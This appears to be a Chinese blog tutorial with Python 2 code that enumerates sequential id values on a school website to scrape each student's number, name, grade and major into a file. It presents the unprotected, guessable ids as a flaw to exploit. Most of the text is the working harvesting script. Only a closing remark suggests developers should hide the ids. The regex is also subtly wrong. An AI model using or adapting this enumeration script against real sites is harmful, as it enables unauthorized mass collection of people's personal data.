定向爬取网页内容

该程序使用request模块来对网页的请求访问，然后获取其网页的内容，再通过re模块下的正则表达式来筛选出所要的数据。代码简单，大牛路过别喷......

首先，想要获取网页中想要的数据，就要分析网页的结构和网页内容中数据在哪个html标签中，然后分析其间的关系。如下图：

在这里仅仅只是介绍获取上面的学号、姓名、年级和专业相对应的值。由图可以知道，所有的值都是放在一个div中，并且存放值的div的设置都是一样的，而且网页中

其他的值不是以这样的形式存放，这样就可以将其内容单独取出来了。网页的内容由网址后面的id值决定，每个id值都会对应着每个人的信息，这也算是一个小小的bug吧，

通过改变id值来获取不同的页面，进而获取到每个人的信息，比如：网址为：http://xxxx.xxx.com/test/id=15525，该ID值是对应上面的信息，而且通过测试知道该id

值是连续的，而不是随机的，所以这提供猜解每个人的方法，就是将id值累加就可以将所有人的相应的信息都穷举出来。通过上面的分析，就可以将想要的数据筛选出来了。

接下来就可以着手编写相应的正则表达式来获取相应的数据，你可以在站长工具上找到相应的正则表达式编写的工具来测试，将该div下的内容粘贴过去作为查找的内容，

然后测试你的正则表达式是否编写正确，看看是否可以获取到相应字段的值。编写的正则表达式为：'<div align="left">([^<span]s*.*s*.*)</div>'，能获取到相应的

数据，那么就可以开始整个程序的代码实现了。注意：在获取相应的数据前，应该知道网页的编码，不然可能会导致抓取下来的网页内容出现乱码现象。

首先就是导入相应的处理模块和一些变量的初始化：

#   -*-   coding:utf-8   -*-
import requests
import re

Host = ''    # 猜解的网址
# id value
stuID = 15525

# 将结果写进文件里面
path = 'H:\python'    # 保存结果的目录
nStop = 0   # 终止猜解的标志
kShow = 0   # 简单的计数

然后就是请求网页和处理网页的内容，来获取自己想要的数据：

try:
    while True:

        f = open(path + 'id.docx','a')
        stuID += 1
        host = Host + str(stuID)
        tmpValue = ''   # 用于保存所有的值
        content = requests.get(host).content   # 获取网页内容
        value = re.findall('<div align="left">([^<span]s*.*s*.*)</div>',content)   # s 匹配任意空白字符
        testValue = value[0].strip()   # 判断value列表的第一个值是否为空，是则退出循环

        if testValue == '':
            nStop += 1  # 用于计算，如果出现连续100个人都没有信息，才退出循环
            # 这样导致有一些同学退学的，相应的ID没有信息，导致中断了？
            if nStop == 100:
                print('已经拆解完 ...  ')
                break
            
        print('.'),     # 简单的计数和提示
        if kShow % 50 == 0:
            print


        for v in value:
            kShow += 1
            try:
                val = unicode(v.strip())
                tmpValue += str(v.strip().encode('utf-8')) + '   '
                nStop = 0  # 这样当有信息时，将n置为0，保证了n的值当出现有值时是为0的
            except UnicodeEncodeError:
                print('error')

        f.writelines(str(stuID)+ '   ' + tmpValue + '
')  # 将信息写进文件
        f.close()
except Exception,e:
    print(e)
    print('done ... ...')

上面就是整个程序的全部代码了，其中有些代码并没有任何意义，只是简单的提示功能，如：print('.')，在控制台下输出一个'.'，表示该程序还在运行，因为该程序是将结果

直接写进一个文档中，而且没有任何的输出，如果没有提示，用户可能会误以为该程序没有正常执行或执行出现了卡死状态，这样还有一个就是可以简单的进行猜解的数量，

因为下面设置了每50个id就换行，所以还是可以初略的判断猜解的数量的，当然，你还可以在输出的前面添加序号，这样就方便计数，更可以将其使用累加方式将其计算出来。

从该例子看，这样未授权就可以访问到相应网页内容的并不少见，由于开发人员的安全意识不够，这样必会导致我们数据的泄露，就该网站来说，应该将该ID值加密，最好是

使用现有的加密方法及加上自己一些标识符混淆，而不是将其以明文方式显示出来。